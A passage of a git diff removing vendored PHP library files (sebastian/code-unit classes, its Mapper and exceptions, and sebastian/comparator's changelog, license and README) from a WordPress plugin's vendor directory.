* @throws ReflectionException - */ - public static function forTrait(string $traitName): TraitUnit - { - self::ensureUserDefinedTrait($traitName); - - $reflector = self::reflectorForClass($traitName); - - return new TraitUnit( - $traitName, - $reflector->getFileName(), - range( - $reflector->getStartLine(), - $reflector->getEndLine() - ) - ); - } - - /** - * @psalm-param class-string $traitName - * - * @throws InvalidCodeUnitException - * @throws ReflectionException - */ - public static function forTraitMethod(string $traitName, string $methodName): TraitMethodUnit - { - self::ensureUserDefinedTrait($traitName); - - $reflector = self::reflectorForClassMethod($traitName, $methodName); - - return new TraitMethodUnit( - $traitName . '::' . $methodName, - $reflector->getFileName(), - range( - $reflector->getStartLine(), - $reflector->getEndLine() - ) - ); - } - - /** - * @psalm-param callable-string $functionName - * - * @throws InvalidCodeUnitException - * @throws ReflectionException - */ - public static function forFunction(string $functionName): FunctionUnit - { - $reflector = self::reflectorForFunction($functionName); - - if (!$reflector->isUserDefined()) { - throw new InvalidCodeUnitException( - sprintf( - '"%s" is not a user-defined function', - $functionName - ) - ); - } - - return new FunctionUnit( - $functionName, - $reflector->getFileName(), - range( - $reflector->getStartLine(), - $reflector->getEndLine() - ) - ); - } - - /** - * @psalm-param list $sourceLines - */ - private function __construct(string $name, string $sourceFileName, array $sourceLines) - { - $this->name = $name; - $this->sourceFileName = $sourceFileName; - $this->sourceLines = $sourceLines; - } - - public function name(): string - { - return $this->name; - } - - public function sourceFileName(): string - { - return $this->sourceFileName; - } - - /** - * @psalm-return list - */ - public function sourceLines(): array - { - return $this->sourceLines; - } - - public function isClass(): bool - { - return false; - } - - public function isClassMethod(): bool - { - return false; - } - - public function isInterface(): bool - { - return false; - } - - public function isInterfaceMethod(): bool - { - return false; - } - - public function isTrait(): bool - { - return false; - } - - public function isTraitMethod(): bool - { - return false; - } - - public function isFunction(): bool - { - return false; - } - - /** - * @psalm-param class-string $className - * - * @throws InvalidCodeUnitException - */ - private static function ensureUserDefinedClass(string $className): void - { - try { - $reflector = new ReflectionClass($className); - - if ($reflector->isInterface()) { - throw new InvalidCodeUnitException( - sprintf( - '"%s" is an interface and not a class', - $className - ) - ); - } - - if ($reflector->isTrait()) { - throw new InvalidCodeUnitException( - sprintf( - '"%s" is a trait and not a class', - $className - ) - ); - } - - if (!$reflector->isUserDefined()) { - throw new InvalidCodeUnitException( - sprintf( - '"%s" is not a user-defined class', - $className - ) - ); - } - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @psalm-param class-string $interfaceName - * - * @throws InvalidCodeUnitException - */ - private static function ensureUserDefinedInterface(string $interfaceName): void - { - try { - $reflector = new ReflectionClass($interfaceName); - - if (!$reflector->isInterface()) { - throw new InvalidCodeUnitException( - sprintf( - '"%s" is not an interface', - $interfaceName - ) - ); - } - - if (!$reflector->isUserDefined()) { - throw new InvalidCodeUnitException( - sprintf( - '"%s" is not a user-defined interface', - $interfaceName - ) - ); - } - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @psalm-param class-string $traitName - * - * @throws InvalidCodeUnitException - */ - private static function ensureUserDefinedTrait(string $traitName): void - { - try { - $reflector = new ReflectionClass($traitName); - - if (!$reflector->isTrait()) { - throw new InvalidCodeUnitException( - sprintf( - '"%s" is not a trait', - $traitName - ) - ); - } - - // @codeCoverageIgnoreStart - if (!$reflector->isUserDefined()) { - throw new InvalidCodeUnitException( - sprintf( - '"%s" is not a user-defined trait', - $traitName - ) - ); - } - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @psalm-param class-string $className - * - * @throws ReflectionException - */ - private static function reflectorForClass(string $className): ReflectionClass - { - try { - return new ReflectionClass($className); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @psalm-param class-string $className - * - * @throws ReflectionException - */ - private static function reflectorForClassMethod(string $className, string $methodName): ReflectionMethod - { - try { - return new ReflectionMethod($className, $methodName); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @psalm-param callable-string $functionName - * - * @throws ReflectionException - */ - private static function reflectorForFunction(string $functionName): ReflectionFunction - { - try { - return new ReflectionFunction($functionName); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - } - // @codeCoverageIgnoreEnd - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/CodeUnitCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/CodeUnitCollection.php deleted file mode 100644 index f53db8a1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/CodeUnitCollection.php +++ /dev/null @@ -1,84 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -use function array_merge; -use function count; -use Countable; -use IteratorAggregate; - -final class CodeUnitCollection implements Countable, IteratorAggregate -{ - /** - * @psalm-var list - */ - private $codeUnits = []; - - /** - * @psalm-param list $items - */ - public static function fromArray(array $items): self - { - $collection = new self; - - foreach ($items as $item) { - $collection->add($item); - } - - return $collection; - } - - public static function fromList(CodeUnit ...$items): self - { - return self::fromArray($items); - } - - private function __construct() - { - } - - /** - * @psalm-return list - */ - public function asArray(): array - { - return $this->codeUnits; - } - - public function getIterator(): CodeUnitCollectionIterator - { - return new CodeUnitCollectionIterator($this); - } - - public function count(): int - { - return count($this->codeUnits); - } - - public function isEmpty(): bool - { - return empty($this->codeUnits); - } - - public function mergeWith(self $other): self - { - return self::fromArray( - array_merge( - $this->asArray(), - $other->asArray() - ) - ); - } - - private function add(CodeUnit $item): void - { - $this->codeUnits[] = $item; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/CodeUnitCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/CodeUnitCollectionIterator.php deleted file mode 100644 index bdc86d88..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/CodeUnitCollectionIterator.php +++ /dev/null @@ -1,55 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -use Iterator; - -final class CodeUnitCollectionIterator implements Iterator -{ - /** - * @psalm-var list - */ - private $codeUnits; - - /** - * @var int - */ - private $position = 0; - - public function __construct(CodeUnitCollection $collection) - { - $this->codeUnits = $collection->asArray(); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return isset($this->codeUnits[$this->position]); - } - - public function key(): int - { - return $this->position; - } - - public function current(): CodeUnit - { - return $this->codeUnits[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/FunctionUnit.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/FunctionUnit.php deleted file mode 100644 index df76cf19..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/FunctionUnit.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -/** - * @psalm-immutable - */ -final class FunctionUnit extends CodeUnit -{ - /** - * @psalm-assert-if-true FunctionUnit $this - */ - public function isFunction(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/InterfaceMethodUnit.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/InterfaceMethodUnit.php deleted file mode 100644 index fcd44f41..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/InterfaceMethodUnit.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -/** - * @psalm-immutable - */ -final class InterfaceMethodUnit extends CodeUnit -{ - /** - * @psalm-assert-if-true InterfaceMethod $this - */ - public function isInterfaceMethod(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/InterfaceUnit.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/InterfaceUnit.php deleted file mode 100644 index 5cf585bf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/InterfaceUnit.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -/** - * @psalm-immutable - */ -final class InterfaceUnit extends CodeUnit -{ - /** - * @psalm-assert-if-true InterfaceUnit $this - */ - public function isInterface(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/Mapper.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/Mapper.php deleted file mode 100644 index a72b3b0d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/Mapper.php +++ /dev/null @@ -1,414 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -use function array_keys; -use function array_merge; -use function array_unique; -use function array_values; -use function class_exists; -use function explode; -use function function_exists; -use function interface_exists; -use function ksort; -use function method_exists; -use function sort; -use function sprintf; -use function str_replace; -use function strpos; -use function trait_exists; -use ReflectionClass; -use ReflectionFunction; -use ReflectionMethod; - -final class Mapper -{ - /** - * @psalm-return array> - */ - public function codeUnitsToSourceLines(CodeUnitCollection $codeUnits): array - { - $result = []; - - foreach ($codeUnits as $codeUnit) { - $sourceFileName = $codeUnit->sourceFileName(); - - if (!isset($result[$sourceFileName])) { - $result[$sourceFileName] = []; - } - - $result[$sourceFileName] = array_merge($result[$sourceFileName], $codeUnit->sourceLines()); - } - - foreach (array_keys($result) as $sourceFileName) { - $result[$sourceFileName] = array_values(array_unique($result[$sourceFileName])); - - sort($result[$sourceFileName]); - } - - ksort($result); - - return $result; - } - - /** - * @throws InvalidCodeUnitException - * @throws ReflectionException - */ - public function stringToCodeUnits(string $unit): CodeUnitCollection - { - if (strpos($unit, '::') !== false) { - [$firstPart, $secondPart] = explode('::', $unit); - - if (empty($firstPart) && $this->isUserDefinedFunction($secondPart)) { - return CodeUnitCollection::fromList(CodeUnit::forFunction($secondPart)); - } - - if ($this->isUserDefinedClass($firstPart)) { - if ($secondPart === '') { - return $this->publicMethodsOfClass($firstPart); - } - - if ($secondPart === '') { - return $this->protectedAndPrivateMethodsOfClass($firstPart); - } - - if ($secondPart === '') { - return $this->protectedMethodsOfClass($firstPart); - } - - if ($secondPart === '') { - return $this->publicAndPrivateMethodsOfClass($firstPart); - } - - if ($secondPart === '') { - return $this->privateMethodsOfClass($firstPart); - } - - if ($secondPart === '') { - return $this->publicAndProtectedMethodsOfClass($firstPart); - } - - if ($this->isUserDefinedMethod($firstPart, $secondPart)) { - return CodeUnitCollection::fromList(CodeUnit::forClassMethod($firstPart, $secondPart)); - } - } - - if ($this->isUserDefinedInterface($firstPart)) { - return CodeUnitCollection::fromList(CodeUnit::forInterfaceMethod($firstPart, $secondPart)); - } - - if ($this->isUserDefinedTrait($firstPart)) { - return CodeUnitCollection::fromList(CodeUnit::forTraitMethod($firstPart, $secondPart)); - } - } else { - if ($this->isUserDefinedClass($unit)) { - $units = [CodeUnit::forClass($unit)]; - - foreach ($this->reflectorForClass($unit)->getTraits() as $trait) { - if (!$trait->isUserDefined()) { - // @codeCoverageIgnoreStart - continue; - // @codeCoverageIgnoreEnd - } - - $units[] = CodeUnit::forTrait($trait->getName()); - } - - return CodeUnitCollection::fromArray($units); - } - - if ($this->isUserDefinedInterface($unit)) { - return CodeUnitCollection::fromList(CodeUnit::forInterface($unit)); - } - - if ($this->isUserDefinedTrait($unit)) { - return CodeUnitCollection::fromList(CodeUnit::forTrait($unit)); - } - - if ($this->isUserDefinedFunction($unit)) { - return CodeUnitCollection::fromList(CodeUnit::forFunction($unit)); - } - - $unit = str_replace('', '', $unit); - - if ($this->isUserDefinedClass($unit)) { - return $this->classAndParentClassesAndTraits($unit); - } - } - - throw new InvalidCodeUnitException( - sprintf( - '"%s" is not a valid code unit', - $unit - ) - ); - } - - /** - * @psalm-param class-string $className - * - * @throws ReflectionException - */ - private function publicMethodsOfClass(string $className): CodeUnitCollection - { - return $this->methodsOfClass($className, ReflectionMethod::IS_PUBLIC); - } - - /** - * @psalm-param class-string $className - * - * @throws ReflectionException - */ - private function publicAndProtectedMethodsOfClass(string $className): CodeUnitCollection - { - return $this->methodsOfClass($className, ReflectionMethod::IS_PUBLIC | ReflectionMethod::IS_PROTECTED); - } - - /** - * @psalm-param class-string $className - * - * @throws ReflectionException - */ - private function publicAndPrivateMethodsOfClass(string $className): CodeUnitCollection - { - return $this->methodsOfClass($className, ReflectionMethod::IS_PUBLIC | ReflectionMethod::IS_PRIVATE); - } - - /** - * @psalm-param class-string $className - * - * @throws ReflectionException - */ - private function protectedMethodsOfClass(string $className): CodeUnitCollection - { - return $this->methodsOfClass($className, ReflectionMethod::IS_PROTECTED); - } - - /** - * @psalm-param class-string $className - * - * @throws ReflectionException - */ - private function protectedAndPrivateMethodsOfClass(string $className): CodeUnitCollection - { - return $this->methodsOfClass($className, ReflectionMethod::IS_PROTECTED | ReflectionMethod::IS_PRIVATE); - } - - /** - * @psalm-param class-string $className - * - * @throws ReflectionException - */ - private function privateMethodsOfClass(string $className): CodeUnitCollection - { - return $this->methodsOfClass($className, ReflectionMethod::IS_PRIVATE); - } - - /** - * @psalm-param class-string $className - * - * @throws ReflectionException - */ - private function methodsOfClass(string $className, int $filter): CodeUnitCollection - { - $units = []; - - foreach ($this->reflectorForClass($className)->getMethods($filter) as $method) { - if (!$method->isUserDefined()) { - continue; - } - - $units[] = CodeUnit::forClassMethod($className, $method->getName()); - } - - return CodeUnitCollection::fromArray($units); - } - - /** - * @psalm-param class-string $className - * - * @throws ReflectionException - */ - private function classAndParentClassesAndTraits(string $className): CodeUnitCollection - { - $units = [CodeUnit::forClass($className)]; - - $reflector = $this->reflectorForClass($className); - - foreach ($this->reflectorForClass($className)->getTraits() as $trait) { - if (!$trait->isUserDefined()) { - // @codeCoverageIgnoreStart - continue; - // @codeCoverageIgnoreEnd - } - - $units[] = CodeUnit::forTrait($trait->getName()); - } - - while ($reflector = $reflector->getParentClass()) { - if (!$reflector->isUserDefined()) { - break; - } - - $units[] = CodeUnit::forClass($reflector->getName()); - - foreach ($reflector->getTraits() as $trait) { - if (!$trait->isUserDefined()) { - // @codeCoverageIgnoreStart - continue; - // @codeCoverageIgnoreEnd - } - - $units[] = CodeUnit::forTrait($trait->getName()); - } - } - - return CodeUnitCollection::fromArray($units); - } - - /** - * @psalm-param class-string $className - * - * @throws ReflectionException - */ - private function reflectorForClass(string $className): ReflectionClass - { - try { - return new ReflectionClass($className); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @throws ReflectionException - */ - private function isUserDefinedFunction(string $functionName): bool - { - if (!function_exists($functionName)) { - return false; - } - - try { - return (new ReflectionFunction($functionName))->isUserDefined(); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @throws ReflectionException - */ - private function isUserDefinedClass(string $className): bool - { - if (!class_exists($className)) { - return false; - } - - try { - return (new ReflectionClass($className))->isUserDefined(); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @throws ReflectionException - */ - private function isUserDefinedInterface(string $interfaceName): bool - { - if (!interface_exists($interfaceName)) { - return false; - } - - try { - return (new ReflectionClass($interfaceName))->isUserDefined(); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @throws ReflectionException - */ - private function isUserDefinedTrait(string $traitName): bool - { - if (!trait_exists($traitName)) { - return false; - } - - try { - return (new ReflectionClass($traitName))->isUserDefined(); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @throws ReflectionException - */ - private function isUserDefinedMethod(string $className, string $methodName): bool - { - if (!class_exists($className)) { - // @codeCoverageIgnoreStart - return false; - // @codeCoverageIgnoreEnd - } - - if (!method_exists($className, $methodName)) { - // @codeCoverageIgnoreStart - return false; - // @codeCoverageIgnoreEnd - } - - try { - return (new ReflectionMethod($className, $methodName))->isUserDefined(); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - (int) $e->getCode(), - $e - ); - } - // @codeCoverageIgnoreEnd - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/TraitMethodUnit.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/TraitMethodUnit.php deleted file mode 100644 index a58f7249..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/TraitMethodUnit.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -/** - * @psalm-immutable - */ -final class TraitMethodUnit extends CodeUnit -{ - /** - * @psalm-assert-if-true TraitMethodUnit $this - */ - public function isTraitMethod(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/TraitUnit.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/TraitUnit.php deleted file mode 100644 index abddfc11..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/TraitUnit.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -/** - * @psalm-immutable - */ -final class TraitUnit extends CodeUnit -{ - /** - * @psalm-assert-if-true TraitUnit $this - */ - public function isTrait(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/Exception.php deleted file mode 100644 index 74d0eeef..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/InvalidCodeUnitException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/InvalidCodeUnitException.php deleted file mode 100644 index 60a3da82..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/InvalidCodeUnitException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -use RuntimeException; - -final class InvalidCodeUnitException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/NoTraitException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/NoTraitException.php deleted file mode 100644 index e9b9b9c7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/NoTraitException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -use RuntimeException; - -final class NoTraitException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/ReflectionException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/ReflectionException.php deleted file mode 100644 index 23201278..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/ReflectionException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -use RuntimeException; - -final class ReflectionException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/ChangeLog.md deleted file mode 100644 index 17557536..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/ChangeLog.md +++ /dev/null @@ -1,143 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [4.0.8] - 2022-09-14 - -### Fixed - -* [#102](https://github.com/sebastianbergmann/comparator/pull/102): Fix `float` comparison precision - -## [4.0.7] - 2022-09-14 - -### Fixed - -* [#99](https://github.com/sebastianbergmann/comparator/pull/99): Fix weak comparison between `'0'` and `false` - -## [4.0.6] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\Comparator\Exception` now correctly extends `\Throwable` - -## [4.0.5] - 2020-09-30 - -### Fixed - -* [#89](https://github.com/sebastianbergmann/comparator/pull/89): Handle PHP 8 `ValueError` - -## [4.0.4] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [4.0.3] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [4.0.2] - 2020-06-15 - -### Fixed - -* [#85](https://github.com/sebastianbergmann/comparator/issues/85): Version 4.0.1 breaks backward compatibility - -## [4.0.1] - 2020-06-15 - -### Changed - -* Tests etc. are now ignored for archive exports - -## [4.0.0] - 2020-02-07 - -### Removed - -* Removed support for PHP 7.1 and PHP 7.2 - -## [3.0.5] - 2022-09-14 - -### Fixed - -* [#102](https://github.com/sebastianbergmann/comparator/pull/102): Fix `float` comparison precision - -## [3.0.4] - 2022-09-14 - -### Fixed - -* [#99](https://github.com/sebastianbergmann/comparator/pull/99): Fix weak comparison between `'0'` and `false` - -## [3.0.3] - 2020-11-30 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.1` to `>=7.1` - -## [3.0.2] - 2018-07-12 - -### Changed - -* By default, `MockObjectComparator` is now tried before all other (default) comparators - -## [3.0.1] - 2018-06-14 - -### Fixed - -* [#53](https://github.com/sebastianbergmann/comparator/pull/53): `DOMNodeComparator` ignores `$ignoreCase` parameter -* [#58](https://github.com/sebastianbergmann/comparator/pull/58): `ScalarComparator` does not handle extremely ugly string comparison edge cases - -## [3.0.0] - 2018-04-18 - -### Fixed - -* [#48](https://github.com/sebastianbergmann/comparator/issues/48): `DateTimeComparator` does not support fractional second deltas - -### Removed - -* Removed support for PHP 7.0 - -## [2.1.3] - 2018-02-01 - -### Changed - -* This component is now compatible with version 3 of `sebastian/diff` - -## [2.1.2] - 2018-01-12 - -### Fixed - -* Fix comparison of `DateTimeImmutable` objects - -## [2.1.1] - 2017-12-22 - -### Fixed - -* [phpunit/#2923](https://github.com/sebastianbergmann/phpunit/issues/2923): Unexpected failed date matching - -## [2.1.0] - 2017-11-03 - -### Added - -* Added `SebastianBergmann\Comparator\Factory::reset()` to unregister all non-default comparators -* Added support for `phpunit/phpunit-mock-objects` version `^5.0` - -[4.0.8]: https://github.com/sebastianbergmann/comparator/compare/4.0.7...4.0.8 -[4.0.7]: https://github.com/sebastianbergmann/comparator/compare/4.0.6...4.0.7 -[4.0.6]: https://github.com/sebastianbergmann/comparator/compare/4.0.5...4.0.6 -[4.0.5]: https://github.com/sebastianbergmann/comparator/compare/4.0.4...4.0.5 -[4.0.4]: https://github.com/sebastianbergmann/comparator/compare/4.0.3...4.0.4 -[4.0.3]: https://github.com/sebastianbergmann/comparator/compare/4.0.2...4.0.3 -[4.0.2]: https://github.com/sebastianbergmann/comparator/compare/4.0.1...4.0.2 -[4.0.1]: https://github.com/sebastianbergmann/comparator/compare/4.0.0...4.0.1 -[4.0.0]: https://github.com/sebastianbergmann/comparator/compare/3.0.5...4.0.0 -[3.0.5]: https://github.com/sebastianbergmann/comparator/compare/3.0.4...3.0.5 -[3.0.4]: https://github.com/sebastianbergmann/comparator/compare/3.0.3...3.0.4 -[3.0.3]: https://github.com/sebastianbergmann/comparator/compare/3.0.2...3.0.3 -[3.0.2]: https://github.com/sebastianbergmann/comparator/compare/3.0.1...3.0.2 -[3.0.1]: https://github.com/sebastianbergmann/comparator/compare/3.0.0...3.0.1 -[3.0.0]: https://github.com/sebastianbergmann/comparator/compare/2.1.3...3.0.0 -[2.1.3]: https://github.com/sebastianbergmann/comparator/compare/2.1.2...2.1.3 -[2.1.2]: https://github.com/sebastianbergmann/comparator/compare/2.1.1...2.1.2 -[2.1.1]: https://github.com/sebastianbergmann/comparator/compare/2.1.0...2.1.1 -[2.1.0]: https://github.com/sebastianbergmann/comparator/compare/2.0.2...2.1.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/LICENSE deleted file mode 100644 index 6ad70cba..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -Comparator - -Copyright (c) 2002-2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/README.md deleted file mode 100644 index f6002db6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/README.md +++ /dev/null @@ -1,41 +0,0 @@ -# sebastian/comparator - -[![CI Status](https://github.com/sebastianbergmann/comparator/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/comparator/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/comparator/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/comparator) - -This component provides the functionality to compare PHP values for equality. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` 